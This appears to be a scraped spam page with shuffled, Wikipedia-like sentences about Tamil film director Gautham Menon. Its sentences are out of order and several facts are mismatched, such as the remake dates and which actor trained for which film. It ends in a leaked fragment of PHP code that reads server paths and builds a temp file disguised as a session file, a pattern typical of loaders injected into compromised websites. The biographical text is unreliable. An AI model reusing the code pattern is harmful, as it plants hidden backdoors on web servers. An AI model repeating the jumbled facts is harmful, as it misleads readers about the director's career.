Menon produces films through his London Stock Exchange-listed Photon Kathaas film production company and his production Thanga Meengal (2013) won the National Film Award for Best Feature Film in Tamil.
Gautham Vasudev Menon (born 25 February 1973), more commonly known as Gautham Menon, is an Indian film director, screenwriter, and producer who works predominantly in Tamil cinema.He has also directed Hindi and Telugu films, which are remakes of his own Tamil films.The film however had gone through change from the original script with less emphasis on the antagonists than Menon had hoped and he also revealed that scenes for songs were forced in and shot without him.Menon later expressed interest in remaking the film in Hindi with Amitabh Bachchan in the lead role without the love angle, though the project fell through after discussions.In 2012, he re-began negotiations with producers to make a Hindi version of the film with Shahrukh Khan in the lead role.
His next project, Pachaikili Muthucharam (2007), based on the novel Derailed by James Siegel, featured Sarath Kumar and Jyothika in the lead roles and was released in February 2007.Gautham Menon was then signed on to direct a venture starring Kamal Haasan and produced by Kaja Mohideen, and initially suggested a one-line story which went on to become Pachaikili Muthucharam for the collaboration.Kamal Haasan wanted a different story and thus the investigative thriller film Vettaiyaadu Vilaiyaadu (2006), was written with Jyothika, Kamalinee Mukherjee, Prakash Raj, Daniel Balaji and Saleem Baig added to the cast.He held a rehearsal of the script with the actors, a costume trial with Jyothika and then enrolled Suriya in a commando training school before beginning production, which he described as a "very planned shoot".Gautham Menon subsequently remade the film in the Telugu language as Gharshana (2004) for producer Venkata Raju and went on to claim that the new version was better than the previous version and that his new lead actor Venkatesh was more convincing that Surya in the role.', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!